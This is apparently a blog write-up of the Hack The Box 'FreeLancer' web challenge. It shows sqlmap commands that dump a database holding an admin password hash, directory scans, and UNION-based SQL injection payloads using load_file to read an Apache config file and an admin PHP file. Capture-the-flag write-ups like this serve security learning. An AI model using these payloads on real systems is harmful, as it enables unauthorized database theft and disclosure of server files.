FreeLancer - Hackthebox Write up - Web SQL injection

0x00 Problem:

0x01 Check the vulnerability

We open the website, there is a login form, it might be SQL injection, LDAP injection or XSS. 

 

Then we can check the source file to find if there is any vulnerability. Luckily we found a file named portfolio.php, and it has an id parameter. 


I tried to open this file with id=1 in the web browser. It returns a picture and some words.

Then I change id to other numbers, it also returns to different words. So it might have SQL injection vulnerability.

0x02 Find the database and table

Here is my payload to check the database:

sqlmap -u http://178.62.0.100:32104/portfolio.php?id=2 -dbs

Below is the result: 

The first red box shows it truly has SQL injection vulnerability and give us the test payload which we can exploit.

The second red box shows the database we found.

0x03 Dump the data 

Here is my payload, we choose freelance as our target database:


sqlmap -u http://178.62.0.100:32104/portfolio.php?id=2 --dump -D freelancer

The result shows a table name as safeadmin, the password looks like a blowfish hash., I tried to reverse the password, but no result found.

The second table shows there 3 queries in the table. 

0x04 Find target file

Base on the test payload SQLmap give us before. We can try to use 'Union' to execute the command. But we don't know what files in it has.

Then we can scan to find it.

dirb  http://178.62.0.100:32104 


We find a directory names 'administrat'

Then we open it on the website. We know we have a user 'safeadmin', but we don't know the password.


This method seems no further process for me.

Remember we have SQL injection payload before?


Then I tried some command to do execute. 'load_files' can work!

We know that apache has a default config file: 

/etc/apache2/sites-enabled/000-default.conf

Then we can make a payload to test it.

http://178.62.0.100:32104/portfolio.php?id=1 union all select 1,load_file("/etc/apache2/sites-enabled/000-default.conf"),3-- 

It works! Here is the result:


0x05 Find the flag:


We can still scan again to find any interesting file on the website.

gobuster dir -u http://178.62.0.100:32104/administrat/ -x php -w /usr/share/wordlists/dirb/common.txt 
 
Here is the result, we can find a panel.php file.
So we can load it to see if there are any interesting things.


http://178.62.0.100:32104/portfolio.php?id=1 union all select 1,load_file("/var/www/html/administrat/panel.php),3-- 

Then we get the flag!




























Popular posts from this blog

Phonebook - Hack the box Write up -- Web LDAP injection

wafwaf -- Hack The Box -- Web SQL injection

Cheat sheet for security+